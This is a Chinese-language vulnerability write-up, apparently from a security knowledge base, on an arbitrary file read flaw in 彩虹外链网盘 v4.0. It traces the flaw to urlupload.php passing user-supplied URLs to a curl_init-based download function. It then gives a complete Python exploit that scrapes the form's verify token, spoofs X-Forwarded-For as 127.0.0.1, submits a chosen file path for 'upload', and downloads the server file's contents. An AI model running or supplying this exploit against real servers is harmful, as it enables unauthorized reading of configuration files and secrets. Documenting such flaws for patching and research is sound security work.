menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 彩虹外链网盘 v4.0 任意文件读取漏洞(一) chevron_right 彩虹外链网盘 v4.0 任意文件读取漏洞(一).md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    彩虹外链网盘 v4.0 任意文件读取漏洞(一).md
    1.66 KB / 2021-07-15 20:13:44
        彩虹外链网盘 v4.0 任意文件读取漏洞(一)
    ========================================
    
    一、漏洞简介
    ------------
    
    如果开启了开启open\_basedir函数,则无法利用此漏洞
    
    二、漏洞影响
    ------------
    
    彩虹外链网盘 v4.0
    
    三、复现过程
    ------------
    
    回到一开始觉得可能存在文件读取的地方
    在urlupload.php中接收到url传到curl\_download函数
    
    ![5.png](./resource/彩虹外链网盘v4.0任意文件读取漏洞(一)/media/rId24.png){width="5.833333333333333in"
    height="1.9474212598425198in"}
    
    在main.func.php中看到curl\_download函数其实就是调用curl\_init讲道理是可以文件读取的
    
    ![6.png](./resource/彩虹外链网盘v4.0任意文件读取漏洞(一)/media/rId25.png){width="5.833333333333333in"
    height="2.7040496500437445in"}
    
    文件上传后保存,需要下载查看内容,而且有verify验证,于是编写python脚本
    
        import requests
        import re
        import sys
    
        url = sys.argv[1]
        file = sys.argv[2]
    
        headers={"X-Forwarded-For":"127.0.0.1"}
        requests = requests.session()
    
        html = requests.get(url+"/urlupload.php").text
        verify = re.findall("name=\"verify\" value=\"(.*?)\"",html)[0]
    
        data={"url":file,"name":"1231421312.torrent","pwd":"Aa1345123","verify":verify}
        html = requests.post(url+"urlupload.php?a=1",data=data,headers=headers).text
    
        try:
            down_url = re.findall("<a href=\"(down.php.*?)\"",html)[0]
            result = requests.get(url+down_url).text
        except:
            result = "error"
        print(result)
    
    ![7.png](./resource/彩虹外链网盘v4.0任意文件读取漏洞(一)/media/rId26.png){width="5.833333333333333in"
    height="0.877580927384077in"}
    
    
    links
    file_download